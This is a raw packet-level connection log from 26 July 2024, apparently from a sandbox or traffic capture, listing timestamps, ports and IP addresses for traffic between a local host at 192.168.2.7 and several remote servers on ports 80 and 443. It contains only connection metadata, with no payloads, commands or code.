Jul 26, 2024 08:57:38.034929037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.035024881 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.035037041 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.035042048 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.035197973 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.170154095 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:38.171721935 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:38.179960012 CEST	80	49718	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:38.180067062 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:38.181416988 CEST	80	49711	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:38.181467056 CEST	49711	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:38.203372955 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:38.208239079 CEST	80	49718	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:38.467400074 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.485846996 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.485860109 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.486413002 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.486483097 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.487590075 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.487677097 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.526468992 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.526658058 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.575819016 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.575839043 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.587706089 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.628499985 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.751857996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:38.753032923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:38.794707060 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.794732094 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.794775963 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.794799089 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.794823885 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.794866085 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.880014896 CEST	49715	443	192.168.2.7	142.250.74.206
Jul 26, 2024 08:57:38.880033970 CEST	443	49715	142.250.74.206	192.168.2.7
Jul 26, 2024 08:57:38.988970041 CEST	80	49718	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:38.989042997 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.093091965 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.098033905 CEST	80	49718	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:39.361370087 CEST	80	49718	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:39.362844944 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.843789101 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:39.848701954 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:39.950896978 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.955804110 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.957562923 CEST	80	49718	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:39.957619905 CEST	49718	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.960710049 CEST	80	49720	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:39.960799932 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.961752892 CEST	49720	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:39.966648102 CEST	80	49720	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:40.034612894 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.034677982 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.034791946 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.034827948 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.034872055 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.034873009 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.034923077 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.034956932 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.034966946 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.035016060 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.035218000 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.035250902 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.035265923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.035285950 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.035330057 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.035330057 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.035564899 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.035598040 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.035614967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.035639048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.036335945 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.036370039 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.036405087 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.036420107 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113260984 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113320112 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113352060 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113353014 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113379955 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113395929 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113554001 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113588095 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113601923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113677979 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113771915 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113805056 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113836050 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.113842964 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113842964 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.113898039 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.114044905 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.114074945 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.114108086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.114120960 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121243000 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121294975 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121309042 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121329069 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121350050 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121428967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121573925 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121607065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121644974 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121644974 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121836901 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121897936 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.121958971 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.121993065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.122009039 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.122035027 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.122200966 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.122243881 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.122267962 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.122289896 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.122544050 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.122576952 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.122611046 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.122626066 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.122642040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.122642040 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.123014927 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.123069048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.123105049 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.123137951 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.123179913 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.123179913 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.210978985 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211038113 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211072922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211076975 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211076975 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211117029 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211194992 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211245060 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211273909 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211280107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211322069 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211322069 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211853027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211925030 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.211937904 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211971045 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.211992979 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212045908 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212177038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212210894 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212244034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212254047 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212254047 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212276936 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212304115 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212358952 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212882996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212915897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212949038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.212956905 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212956905 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.212981939 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.213006973 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.213015079 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.213018894 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.213047981 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.213083029 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.213090897 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.213090897 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.213139057 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.213499069 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.213558912 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.213943005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214016914 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214054108 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214086056 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214098930 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214164972 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214339018 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214370966 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214397907 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214404106 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214430094 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214483976 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214513063 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214515924 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214550018 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214555025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214555025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214596987 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214837074 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214873075 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214904070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.214906931 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.214917898 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215008974 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215595007 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.215642929 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215691090 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.215723038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.215768099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215768099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215878963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.215912104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.215944052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215945005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.215987921 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.215987921 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.216357946 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.216420889 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.216454029 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.216464996 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.216464996 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.216506958 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.216665030 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.216697931 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.216730118 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.216737032 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.216769934 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.216870070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.217267990 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.217320919 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.217371941 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.217405081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.217422009 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.217499971 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.217742920 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.217788935 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.240767956 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:40.240824938 CEST	443	49724	94.245.104.56	192.168.2.7
Jul 26, 2024 08:57:40.240885973 CEST	49724	443	192.168.2.7	94.245.104.56
Jul 26, 2024 08:57:40.245471954 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:40.245479107 CEST	443	49727	216.58.206.46	192.168.2.7
Jul 26, 2024 08:57:40.245521069 CEST	49727	443	192.168.2.7	216.58.206.46
Jul 26, 2024 08:57:40.295053005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.295105934 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.295123100 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.295144081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.295144081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.295173883 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.295337915 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.295392990 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299354076 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299396992 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299443007 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299570084 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299585104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299588919 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299617052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299617052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299802065 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299818039 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299834013 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299849033 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.299859047 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299859047 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299874067 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.299949884 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300292969 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300307989 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300323009 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300338030 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300338984 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300347090 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300353050 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300368071 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300380945 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300380945 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300383091 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.300414085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300414085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.300513983 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301147938 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301162004 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301177025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301191092 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301204920 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301207066 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301207066 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301218987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301234961 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301239967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301239967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301249981 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301296949 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301296949 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301929951 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301944971 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301959038 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301974058 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.301984072 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301985025 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.301987886 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302000046 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302002907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302017927 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302032948 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302033901 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302033901 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302046061 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302058935 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302061081 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302094936 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302131891 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302845001 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302860975 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302876949 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302891970 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302898884 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302906990 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302922010 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302922964 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302937031 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302949905 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302952051 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302966118 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.302966118 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.302980900 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303013086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303013086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303806067 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303822041 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303836107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303850889 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303853035 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303853035 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303867102 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303874969 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303881884 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303894997 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303896904 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303911924 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.303915977 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303926945 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.303926945 CEST	80	49709	85.28.47.31	192.168.2.7
